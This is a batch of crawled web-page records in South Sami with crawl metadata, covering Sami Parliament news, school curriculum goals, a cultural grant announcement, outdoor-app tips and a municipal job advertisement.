åehpiedehtiemasse.","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181865\/topic:1:181665\/resource:1:181864","date":"2019-04-24T02:56:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578624217.55\/warc\/CC-MAIN-20190424014705-20190424040705-00191.warc.gz","language":"sma","language_score":0.9999988079,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999988079071045}","num_words":282,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.078,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Elle-Máijá Tailfeather ovmessie teknihkh dokumentaare-filmesne nuhtjie. Dahkoe filmesne lea filme-darjojen fuelhkien bïjre jïh buerkeste guktie byjjenidh gosse eejhtegh göökte ovmessie aalkoealmetje-dåehkijste, akte saemie jïh mubpie blackfoot-almetje.\nVuartesjh filmem Rebel (Bihttoš). Nuhtjh daam tjaeleme-maallem gosse datne filme-analysine barkah.\nAnalyseredh karakteerem ChristinaKjernestoff\nSameblodKjernestoff\nSaemien heartoehtæjjaKjernestoff\nSaemien nyjsenæjja-gïelhKjernestoff\nSoptsestimmievuekie jïh viehkievierhtiehKjernestoff\nLaavenjasse: Hilbes biigáKjernestoff\nSoptsesh aalkoe-almetji bïjreKjernestoff\n- Kjernestoff\nTjaeleme-maalle: Filme-analyseKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182039\/topic:1:182011\/resource:1:178022","date":"2019-04-19T17:20:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578527865.32\/warc\/CC-MAIN-20190419161226-20190419183226-00317.warc.gz","language":"sma","language_score":0.9989620447,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9989620447158813}","num_words":57,"character_repetition_ratio":0.109,"word_repetition_ratio":0.0,"special_characters_ratio":0.116,"stopwords_ratio":0.14,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gaajhkh kuvsjh, seminaarh jïh öörnedimmieh\nSametingsrådet har rådsmøte i Karasjok 20. - 22.8.\nSametingspresident Aili Keskitalo og plenumsleder Tom Sottinen deltar på 70-årsmarkeringen for relokaliseringen av den skoltesamiske befolkningen til Sevettijärvi, Finland, lørdag 24. august.\nSametingsråd Silje Karine Muotka deltar og holder innlegg på konferanse om næringsutvikling i Tromsreindrifta i Tromsø.\nNöörjen, Sveerjen jïh Såevmien Saemiedigkieh ektie seminaarem toelhkide, jarkoestæjjide jïh jeatjah gïelebarkijidie öörnedieh.\nUlmie Gïelevåhkojne lea statusem lutnjedh saemien gïelide, jïh daajroem saemien gïeli jïh kultuvren bïjre lutnjedh abpe siebriedahkesne. Raaktan daan våhkoen saemien gïelh edtjieh govledh jïh vååjnedh gaajhkem lehkiem.\nHva lette du etter? Din tilbakemelding hjelper oss ålage bedre nettsider.","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/www.saemiedigkie.no\/Arrangementer","date":"2019-08-20T19:34:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027315558.25\/warc\/CC-MAIN-20190820180442-20190820202442-00505.warc.gz","language":"sma","language_score":0.9682295918,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9682295918464661, \"sme_Latn_score\": 0.03146979957818985}","num_words":99,"character_repetition_ratio":0.033,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":0.989,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjïelten åejvieladtjeraerie lea Rolf Bratlandem nammoehtamme goh daan jaepien åvtehke suehpeden 17.b. moenehtsisnie. Doh jeatjebh moenehtsisnie leah Ingunn Småli, Mathis Hætta, Elise Bostad, Kjell Bjørnar Tyldum jïh Trine Hasvang Vaag (tjïelten åejvieladtjeraerie) Lissine FAU (eejhtegi barkoemoenehtese) göökte tjirkijh 8. klaasseste veeljie.\n- Sjekk at du tillater cookies og nettleserdata fra besøkte nettsider.\n- Slett midlertidig data i nettleseren og prøv på nytt.\n- Logg ut og logg inn på nytt.\n- Send feilmelding til kundesenteret.","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/www.snasningen.no\/nyheter\/2018\/02\/13\/Bratland-suehpeden-17.-biejjien-%C3%A5vtehke-16080565.ece","date":"2019-11-18T13:52:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496669795.59\/warc\/CC-MAIN-20191118131311-20191118155311-00202.warc.gz","language":"sma","language_score":0.8589271903,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.8589271903038025, \"sme_Latn_score\": 0.11526914685964584, \"nob_Latn_score\": 0.02094055898487568}","num_words":70,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.186,"stopwords_ratio":0.043,"flagged_words_ratio":0.0,"lang_id_score":0.911,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maahtoeulmieh Jåa1\/ Jåa2 mænngan\nGoerehtæjjaMål for opplæringen er at eleven skal kunne\n- aktem sjyöhtehke siebriedahkefaageles dåeriesmoerem hammoedidh, jïh aktem digkeden tjaalegem tjaeledh viehkine faagedïejvesijstie, jeereldihkie gaaltijeåtnoste jïh gaaltijevuesiehtimmijste\n- sjyöhtehke nasjovnaale jallh abpeveartenen dåeriesmoerh goerehtidh, jïh njaalmeldh jïh tjaaleldh ovmessie raeriestimmieh digkiedidh guktie maahta dejtie loetedh, veele åtnojne faagedïejvesijstie\n- jeereldihkie digitaale ohtsemestrategijh nuhtjedh juktie bïevnesh gaavnedh jïh viertiestidh mah dåeriesmoerh buerkiestieh ovmessie vuajnojste, jïh gaaltiji aajkoem jïh ïedtjem vuarjasjidh\n- plearoeh jïh joekehts bïevnesh statistihkeste nuhtjedh juktie aktem siebriedahkefaageles dåeriesmoerem digkiedidh\n- siebriedahkefaageles aamhtesh digkiedidh digitaale digkiedimmiedåehkine, jïh jïjtse goerkesem vuarjasjidh tjoevkesisnie mubpiej mïelijste\nIndivijde, siebriedahke jïh kultuvreMål for opplæringen er at eleven skal kunne\n- sosijaliseradimmiem noerijste Saepmesne jïh Nöörjesne goerehtidh viehkine vihkeles dïejvesijstie sosijaliseradimmien bïjre, jïh tsiehkiem digkiedidh gaskem etnihkeles jïh staateborgeles ektievoetem gaskem\n- reaktide buerkiestidh mejtie åtna goh utnije, jïh utnijen etihkeles dïedtem digkiedidh\n- baalhkah ryöknedh, budsjedtem bæjjese bïejedh akten gåetiegåntan, jïh vuarjasjidh guktie jieledetsiehkie, spååredimmie jïh lööneme dam persovneles ekonomijem tsevtsieh\n- analyjseradidh man jïjnje dejstie ovmessie kriminaliteetesåarhtijste jïh meadtoesåarhtijste, jïh digkiedidh guktie maahta dagkerh dahkoeh heerredidh, jïh guktie reaktastaate fungerede\n- dïejvesem kultuvre tjïertestidh, jïh vuesiehtimmieh vedtedh guktie kultuvre, kjønnsråållah jïh fuelhkie-, slïekte- jïh ektiejieledevuekieh jeerehtieh sijjeste sæjjan, jïh jarkelieh tïjje doekoe\n- åejvievæhtah jïh jeerehtsh saemien kultuvresne daan biejjien digkiedidh, jïh ussjedidh mij sæjhta jiehtedh aalkoe-almetjinie årrodh\n- digkiedidh guktie religijööse, etnihkeles jïh kultuvrelle jeerehtsh, nuepieh jïh haestemh sjugniedieh\n- digkiedidh man åvteste vaanesovmh, rasisme jïh sïerredimmie sjidtieh, jïh mah råajvarimmieh mah maehtieh dejtie heerredidh\nBarkoe- jïh jielemeMål for opplæringen er at eleven skal kunne\n- bïevnesh gaavnedh ovmessie barkoej bïjre, jïh nuepieh jïh haestemh barkoemaarkedisnie daan biejjien digkiedidh\n- aarvoen bïjre ussjedidh barkoem utnedh, jïh mij lea sjïere aktene hijven barkoejieliedisnie\n- nuepieh jïh haestemh digkiedidh fasseldæmman jïh aarvoesjugniedæmman saemien jieliemisnie jïh siebriedahkesne, jïh barkohtsvoetem digkiedidh\n- etihkeles dåeriesmoerh digkiedidh ektiedamme barkoejieliedasse\n- buerkiestidh jieleme-, barkoevaeltije- jïh barkoevedtijesiebride jïh dej sijjiem barkoejieliedisnie, jïh faktovride mah baalhka- jïh barkoetsiehkide nænnoestieh\n- nuepieh jïh haestemh vuarjasjidh gosse sïeltem tseegkie, jïh åejviebiehkide olkese giesedh aktene illedahke- jïh balansereeknehlåhkosne\n- aarvoem mïrrestallemistie digkiedidh, jïh konsekvensh aktede barkoemaarkedeste mij lea nyjsenæjjaj jïh kaarri gaskem juakeme\nPolitihke jïh demokratijeMål for opplæringen er at eleven skal kunne\n- goerehtidh jïh digkiedidh guktie jïjtje maahta meatan årrodh dam politihkeles systeemem tsevtsedh, viehkine ovmessie tsevtsemekanaalh nuhtjedh\n- ovmessie haestemh demokratijese buerkiestidh, gaskem jeatjah representasjovnen bïjre aalkoe-almetjijstie jïh unnebelåhkojste\n- aalkoe-almetjereaktah buerkiestidh, jïh saemiej jïjtjenænnoestimmiereaktam digkiedidh\n- ektiedimmieh digkiedidh stuvremevuekien, reaktastaaten jïh almetjereaktaj gaskem\n- jienebelåhkoedemokratijem digkiedidh jïh stuvremevuekiem jïh doh vihkielommes politihkeles stuvremeåårganh Nöörjesne buerkiestidh, daan nuelesne doh saemien demokrateles åårganh Saepmesne\n- vihkeles joekehtsh analyjseradidh politihkeles krirriej jïh dåehkiej gaskem, saemien jïh nöörjen politihkesne\n- vihkeles væhtah buerkiestidh dennie ekonomeles politihkesne Nöörjesne\n- åejvieprinsihpide jïh haestiemidie digkiedidh dan nöörjen tryjjes-staatese\n- digkiedidh dïejvesidie ekonomeles sjïdteme, jieledestandarde, jieledekvaliteete jïh monnehke evtiedimmie, jïh tsiehkiem dej gaskem\nGaskenasjovnaale tsiehkiehMål for opplæringen er at eleven skal kunne\n- dïejvesem faamoe tjïertestidh jïh vuesiehtimmieh vedtedh guktie faamoe åtnasåvva veartenesiebriedahkesne\n- dïejvesem globaliseringe tjïertestidh, jïh ovmessie konsekvensh globaliseringeste vuarjasjidh, joekoen aalkoe-almetji tsiehkie\n- EU:n ulmieh jïh stuvremeåårganh buerkiestidh, jïh Nöörjen tsiehkiem EU:se digkiedidh\n- vuesiehtimmieh gaavnedh ovmessie såarhts ovvaantojne jïh almetjereaktameadtojne, jïh digkiedidh maam EN jïh jeatjah gaskenasjovnaale aktöörh maehtieh darjodh\n- buerkiestidh naan fåantoeh man åvteste muvhth laanth leah giefies jïh muvhth ræjhkoes, jïh råajvarimmieh digkiedidh juktie giefiesvoetem veartenisnie giehpiedidh\n- væhtah jïh fåantoeh digkiedidh man åvteste terrorisme sjædta\nSide 9 Av 10","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/www.udir.no\/kl06\/SAF2-03\/Hele\/Kompetansemaal\/maahtoeulmieh-jaa1-jaa2-maenngan?lplang=http:\/\/data.udir.no\/kl06\/sma","date":"2019-11-14T22:48:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496668539.45\/warc\/CC-MAIN-20191114205415-20191114233415-00451.warc.gz","language":"sma","language_score":1.0000039339,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000039339065552}","num_words":524,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.158,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hjalmar jïh juhtemem, gåalmeden boelhke: Juelkietjengkeregaamegh jïh kroepth\nHjalmar 12 jaepien båeries jïh lea sov fuelhkine Gironasse juhteme. Gåetesne sov bööremes voelpe jïh juelkietjengkeregaamegidie laahpa. Gaajhkh dan jeatjhlaakan orre staaresne, jïh haevtiem eevre rovnegs. Guktie bist edtja maehtedh daesnie årrodh, akte jaepie?\nHjalmar jïh juhtemem lea akte raadijoveraajroe Ann-Helén Laestadiuste, guvviejgujmie Magnus Fredrikssonste.","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/sverigesradio.se\/sida\/avsnitt\/1178758?programid=3747","date":"2019-12-07T01:21:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540491871.35\/warc\/CC-MAIN-20191207005439-20191207033439-00479.warc.gz","language":"sma","language_score":1.0000002384,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000000238418579}","num_words":52,"character_repetition_ratio":0.092,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.192,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Learoesoejkesjh saemien gïelesne jïh sjïere saemien faagh\nSaemiedigkien lea dïedte evtiedidh jïh vihtiestidh learoesoejkesjh saemien gïeline maadthskuvlese jïh jåarhkelïerehtæmman, jïh sjïere saemien faagide jåarhkelïerehtæmman (duedtie-, båatsoefaage jv), v. ööhpehtimmielaakine § 6-4, mubpie lïhtse.\nSaemien sisvege sïejhme learoesoejkesjinie Maahtoelutnjemisnie\nÖöhpehtimmielaake stillemem vadta gaajhkh learohkh Nöörjesne edtjieh lïerehtimmiem åadtjodh saemiej, dej gïeli jïh siebriedahkejieleden bïjre ektiedamme dejtie ovmessei faagesuerkide. Dej mieriej sisnjeli mejtie departemeente lea vihtiestamme, Saemiedigkien lea faamoe mieriedimmieh vedtedh sisvegen bïjre dagkeres lïerehtimmesne, v. Ööhpehtimmielaakine § 6-4, voestes lïhtse. Maahtoedepartemeente gaajhkh learoesoejkesjh vïhteste bielelen learoesoejkesjh saemien gïelesne jïh sjïere saemien faagine. Saemiedigkie læjhkan faamoem åtna saemien sisvegem vihtiestidh gaajhkine learoesoejkesjinie.\nSaemien parallelle learoesoejkesjh saemien learoesoejkesjevierhkesne.\nGaajhkh maadthskuvlelearohkh tjïeltine mah leah saemien gïelen reeremedajvesne, jïh learohkh mah jeatjah gaavhtan saemien lïerehtimmiem åadtjodh maadthskuvlesne jïh jåarhkeskuvlesne edtjieh lïerehtimmiem åadtjodh gusnie prinsihph lïerehtæmman - saemien lea våarome jïh saemien parallelle seammavyörtegs learoesoejkesji mietie dejnie faagine gusnie parallelle learoesoejkesjh gååvnesieh. Saemiedigkie edtja rååresjimmesne departemeentine ektine raeriestimmiem darjodh parallelle, seammavyörtegs learoesoejkesjidie, v. ööhpehtimmielaakine § 6-4, gåalmede lïhtse. Saemiedigkie dam saemien sisvegem jïh departemeente dam jeatjah sisvegem vihtiestieh daejnie learoesoejkesjinie.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/www.saemiedigkie.no\/Dienesjh2\/Lierehtimmie-jih-learoevierhtieh\/Saemiedigkien-faamoe-learoesoejkesji-muhteste","date":"2020-06-03T18:50:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347435987.85\/warc\/CC-MAIN-20200603175139-20200603205139-00102.warc.gz","language":"sma","language_score":1.0000071526,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000007152557373}","num_words":167,"character_repetition_ratio":0.116,"word_repetition_ratio":0.0,"special_characters_ratio":0.125,"stopwords_ratio":0.204,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jaepien 2021 Saemien Nasjonaaleteatere Beaivváš 40 jaepieh heevehte, jïh dan sjïekenisnie edtjieh fotodokumentarihkeles gærjam bæjhkoehtidh. Saemiedigkieraerie 200 000 kråvnah barkose gærjine dåårje.\nBeaivváš gieltegs jïh vihkeles histovrijem åtna goh saemien kulturelle premissedeallahtæjja. Jïjnje heannadamme dehtie raejeste teatere tseegkesovvi varke 40 jaepiej juassah goh frijje dåehkie dejnie dramatihkeles heannadimmine deepmesjimmien bïjre Alta-Gouvdageaidnujeanoste, jïh daan biejjien raajan goh profesjonelle teatereinstitusjovne mij bïjre jarkan gellien aejkien jaepien mïnnede abpe Saepmesne. Goh bievnije saemien gïeleste jïh kultuvreste Beaivváš joekoen stoerre aarvoem åtna.\n«Saemiedigkieraerie heevehtimmiegærjam vuarjesje goh joekoen vihkeles siebriedahkese, jïh saemien nasjonaaleteateren histovrije åehpies sjædta,» saemiedigkieraerie Henrik Olsen jeahta.\nÅarjelsaemien festivaalen sjïekenisnie Raasten rastah, konserte edtja öörnesovvedh Marja Mortensson jïh Krinkastingsorkesterinie (KORK) Røros gærhkosne skïereden 25. b. daan jaepien. Saemiedigkieraerie 179 000 kråvnah dåårje Raasten rastah-festivaalese daan öörnedæmman.\nKonserte aaj meatan saemien tv-produksjovnesne gusnie NRK Sápmi åarjelsaemien aamhtesh jarngesne åtna seamma tïjjen goh festivaale öörnesåvva. Baantedimmie dorjesåvva konserteste maam edtja mænngan NRK:sne vuesiehtidh.\n«Stoerre heannadimmie konserte Rørose bïejesåvva. Naemhtie aaj saemien goltelæjjah åadtjoe meatan årrodh daam dååjredh sijjen hïejmedajvesne. Gosse konserte lea Røros gærhkosne dellie dïhte aaj sjïere lïhkesvoetem vadta årroejidie», saemiedigkieraerie jeahta.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/saernieh.no\/saemiedigkie-daarjoem-beaivvasen-heevehtimmiegaerjese-jih-konsertese-marja-mortensson-jih-korkine-vadta\/","date":"2020-06-02T22:56:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347426956.82\/warc\/CC-MAIN-20200602224517-20200603014517-00477.warc.gz","language":"sma","language_score":0.9996863604,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9996863603591919}","num_words":171,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.105,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2014 Saemieraerie, laavenjostosne saemien duedtiesiebriejgujmie, aktem evalueradimmiem vaaroemïerhkeste Sámi Duodji tjïrrehti. Nöörjen jïh Såevmien Saemiedigkieh evalueradimmiem ekonomeles dåarjoejin. Konklusjovne evalueradimmiereektehtsisnie lij annje daerpies vaaroemïerhkine Sámi Duodji. Fåantoe lea jieleme rïektemes vaarjelimmiem jïh dåarjoem daarpesje mij jielemem evtede.\n- Vihkeles duedtiem jïh saemien hammoedimmiem vaarjelidh jïh nænnoestidh. Daan aejkien Saemiedigkieraerie edtja aktem stuerebe raastendåaresth vaaroemïerhkebarkoem tjïrrehtidh mij maahta positijve illedahkh vedtedh abpe Saapman. Viehkine prosjekteste maahta orre dïenesjh evtiedidh jïh stuerebe maarhkedese rïhpestidh. Saemiedigkie sæjhta maaje meatan årrodh daam barkoem jïh evtiedimmiem orre dïenesjijstie dåarjodh, saemiedigkieraerie Hans Ole Eira (Gk) jeahta.\nDaan biejjien saemien kultuvreaerpie ij leah nuekie vaarjelamme. Reektehtse aaj vihtiesti daan beajjetje öörnege vaaroemïerhkeste ij bööremeslaakan juhtieh, daan nuelesne kriterijh, maarhkedefoeresjimmie jïh lisensieradimmie. Evalueradimmie aktem orrestimmiem juvnehti kriterijijstie vaaroemïerhkese Sámi Duodji. Saemieraerie lea tjïelkelaakan barkeme juvnehtimmide bæjjese fulkedh, jïh sæjhta daelie aktem implementeradimmiem Sámi Duodji-mïerhkeste ryöjrehtidh.\nReektehtse aaj tseegkemem orre vaaroemïerhkeste juvnehti, Sami Made, stuvreme dorjesidie mejtie saemieh leah dorjeme, vuesiehtimmien gaavhtan hammoedimmie. Vaaroemïerhke Sámi Made sæjhta tïjjen åvtese jienebi jielemesuerkiej bïjre årrodh, goh musihke\/vuelie, dååjresh, beapmoe, lidteratuvre, filme, tjeahpoe jïh plearoeh. Daerpies kriterijidie Sámi Made-mïerhkese gårredidh Saepmesne, joekoen hammoedimmiesuerkien sisnjelen. Laavenjostosne Saemiedigkine nöörjen bielesne, dïhte aadtjen tseegkesovveme kultuvrejielemetjomhpe (Árvu, Sámi Stories, Arctic lavvu, Graveniid) akten seminaarese vaaroemïerhken bïjre ryöjredeminie.\n- Sámi Duodji lea joe tseegkesovveme, guktie joekoen vihkeles Sámi Made båata goh akte jïjtse vaaroemïerhke. Naemhtie maehtebe saemien dorjesh enn vielie vaarjelidh. Maehtebe jienebh almetjh jaksedh dorjesigujmie jïh maehtebe vuesiehtidh gubpede dorjesh båetieh, saemiedigkieraerie Silje Karine Muotka (NSR) jeahta.\nDåarjoem dåårjeme Duedtien jielemelatjkoen bijjelen – evtiedimmie jïh skåårvemedåarjoe.\nJis gihtjehtimmiem sïjhth jallh dov leah gyhtjelassh, gaskesadth saemiedigkieraerie Silje Karine Muotka, + +47 984 87 576. Guvvie gååvnesieh daesnie: https:\/\/www.flickr.com\/photos\/samediggi\/albums\/72157687389005730","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/PRM-Saemiedigkie-Saemieraeriem-daaaarje-bielie-millijovne-kraavnajgujmie-vaaroemierhkebarkose","date":"2020-05-27T11:31:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347394074.44\/warc\/CC-MAIN-20200527110649-20200527140649-00142.warc.gz","language":"sma","language_score":0.9999841452,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999841451644897}","num_words":262,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.099,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gaavnh barkijem Ohtsemebaakoe Kategori Alle Jieleme-, kultuvre- jïh healsoegoevtese Reaktah jïh gaskenasjonaale goevtese Barkije Byjjenimmie- jïh lïerehtimmiegoevtese Direktöören staabe Gaskesadtemestaabe Gïelegoevtese Govlehtallijh dåarjoe Gærjagåetie Kultuvremojhtese-, areaale- jïh byjresegoevtese Reeremegoevtese Saemiedigkieraerie Stoerretjåanghkoestaabe Stoerretjåangkoeståvroe Ohtsh Vuesehth ohtsemefilterh Templates.Standard.PersonItemListPage.SortOrder Fornavn Etternavn Orresth ohtsemeilledahkem Skubph ohtsemefilterh S Stine Marie Høgden Stilling Ráđđeaddi\/Rådgiver Sunniva Skålnes Stilling Goevtesedirektööre Kultuvremojhtesh-, areaale- jïh byjresegoevtese Susanne Amalie Langstrand-Andersen Stilling Ráđđeaddi\/Rådgiver Svenn-Egil Duolljá Stilling Seniorráđđeaddi\/Seniorrådgiver T Thomas Åhrén Stilling Representant Thor-Andreas Basso Stilling Seniorráđđeaddi\/Seniorrådgiver Tom Ellingsen Stilling Ráddeaddi\/Rådgiver Tom Sottinen Stilling Plenumsleder Tommy Somby Stilling Ossodatdirektevra\/Avdelingsdirektør Tor Gunnar Nystad Stilling Representant Vuesehte 151-160 ållesth 173 personer, sæjroe 16 ållesth 18 Forrige 1 2 ... 14 15 16 17 18 Neste","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/sametinget.no\/gaavnh-barkijem\/?pageNumber=16","date":"2020-08-11T10:12:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738746.41\/warc\/CC-MAIN-20200811090050-20200811120050-00536.warc.gz","language":"sma","language_score":0.728736043,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.7287360429763794, \"sme_Latn_score\": 0.2667834758758545}","num_words":98,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.051,"flagged_words_ratio":0.0,"lang_id_score":0.906,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Pressebïevnese Norsk Friluftsliv:ste\nDatne onterdh gåabph sïjhth ålkone vaanterdidh, jallh jis ebrie sjædta? Gellie ovmessie mobijle-apph gååvnesieh mejtie datnem viehkiehtieh fealadimmiem soejkesjidh.\nDaelie gellie almetjh leah giesie-eejehtallemem aalkeme. Daejtie mobijle-apph aevhkies dutnjien jis edtjh vaeresne vaanterdidh, jaevrien bealesne gööledh jallh gåhtjanimmieseangkosne lïegkedidh.\n-Giesege gellie almetjh lyjhkoeh ålkone vaanterdidh jïh mijjieh gegestibie naanh daejstie appijste buektiehtieh datnem viehkiehtidh. Mohte mujhtieh jis dov mobijle jaama dellie daah apph eah maethieh datnem viehkiehtidh. Gosse edtjh ålkone vaanterdidh dellie vihkelommes datne vihtem meatan vaaltah, generaaletjaelije Norsk Friluftsliv:sne Lasse Heimdal jeahta.\nDaesnie 15 namhtah apph mejtie hijven meatan vaeltedh gosse edtjh ålkone vaanterdidh:\nIh daejrieh gåabph sïjhth vaanterdidh? Vuartesjh daejtie appide!\n- UT.no: Den Norske Turistforening lea daam appen dorjeme. Daate appe jïh aaj nehtesæjroe. Daesnie datne 12.000 fealadimmie-raerieh gaavnh jïh 1.200 hæhtjoeh gaajhkene lehkesne laantesne.\n- GodTur: Daate fealadimmie-appe kaarhte jïh aaj fealadimmie-raerieh vuesehte. Daate aaj appe jïh nehtesæjroe. Datne åadtjoeh aaj ovmessie gööthsijjieh, ræhpas hæhtjoeh jïh laavkomesijjieh gaavnh. Friluftsrådenes Landsforbund jïh Statskog lægan daam appem dorjeme.\n- Outt: Fealadimmie-appe mij ovmessie sijjieh jïh darjomh vuesehte.\n- DNT SjekkUt: Daejnie appine maahtah tjeakoes jïh ovnohkens sijjide gaavjedh. Maahtah dov nommem digitaale guessiegærjesne tjaeledh jïh dov dååjrehtsh sosijaale meedijasne juekedh.\n- Trimpoeng: Trimpoeng lea aelhkie fealadimmiegaahtjeme mij datnem skodtedahta vielie ålkone vaanterdidh.\n- Norgeskart: Daennie appesne åadtjoeh gellie såarhth kaarhtide vuartasjidh. Datne topografihkeles kaarhte jïh jaevriekaarhte Statens Kartverk:ste åadtjoeh. Datne aaj maahtah Google:en satellitte-kaarhtem veeljedh.\nVuartesjh vearolde\n- Pent.no: Datne ih daejrieh guktie vearolde? Daennie appesne åadtjoeh vearoldh Yr:ste jïh Storm:ste vuejnedh.\n- Dukkert: Datne funhterdh jis galmes tjaetsie jaevresne? Daate appe vuesehte man gellie graderh jaevresne jis sïjhth laavkodh.\nGoebperh jïh gööledh\n- Digital soppkontroll: Daate appe vuesehte magkerh goebperh maahtah byöpmedidh jïh ij. Datne aaj maahtah ovmessie goebperi bïjre lohkedh jïh guvvide vuejnedh.\n- NJFF: Daennie appesne maahtah ovmessie gueliej bïjre lohkedh jïh lïeredh gusnie dah årroeminie. Maahtah guelie-laahpa inatur.no åestedh.\nSinsitnine lustestalledh\n- Kul Tur: Daate orre appe DNT:ste gusnie maanah maehtieh darjomidie registreradidh jïh poengh tjöönghkedh. Daennie appesne 45 ovmessie darjomh jïh dellie lustebe sjædta maanajgujmie ålkone vaanterdidh.\n- Stolpejakten: Daennie appesne datne ovmessie staavrah gaavnh gosse vaanterdeminie. Staavrah staaresne, voenesne, skåajjesne jïh vaeresne.\n- Viltappen: Svenska Jägerförbundet lea daam appem dorjeme jïh daejnie maahtah vielie informasjovne juvri bïjre govledh.\n- WhatBird: Funhterdh magkeres ledtie datne govlh? Daennie appesne maahtah daam lïeredh!\nDatne viehkiem daarpesjh?\nHjelp 113: Daate appe Norsk Luftambulanse:ste joekoen aevhkies jis viehkiem daarpesjh. Datne maahtah neavroesentraalese rïnghkedh jïh viehkiem åadtjodh. Daate appe gaajhkesh dovnesh byöroeh utnedh!","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/saernieh.no\/daesnie-15-namhtah-apph-mejtie-hijven-meatan-vaeltedh-gosse-alkone-vaanterdeminie\/","date":"2020-08-04T05:09:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439735860.28\/warc\/CC-MAIN-20200804043709-20200804073709-00233.warc.gz","language":"sma","language_score":1.0000059605,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000059604644775}","num_words":389,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.087,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Faagebarkije \/ Sjïerebarkije\nGïehtelimsgoevtesisnie Snåasen tjïeltesne sæjhta akte ihkuve ellies barkoe gååvnesidh skïereden 2020 raejeste faagebarkijasse \/ sjïerebarkijasse.\nBarkoelaavenjassh sijhtieh åajvahkommes årrodh gorredidh jïh vaaksjodh tjïelten geajnoeh, tjaetsie- jïh galkehtimmienedtem, tjïelten gåetieh jïh jeatjah gïehtelimmie- jïh gorredimmiebarkoe tjïelten tseegkeldahkine.\nSjïehteles faageprievie vaajteles, men mubpieh sjïehteles dååjrehtimmine maehtieh aaj syökedh. Jis ohtsijh sjïere maahtojne båetieh maahta sjyöhtehke sjïdtedh sisnjelds sertieminie.\nBarkoe lea Evtiedimmieektievoeten nuelesne.\nDïhte mij barkoem åådtje tjuara vuejemeleahpam bïjlese utnedh jïh vuj jïjtse bïjlem dïenesjisnie nuhtjedh. Vuejemeleahpa klaasse C lea vaajteles. Aaj jeatjah sjiehteles 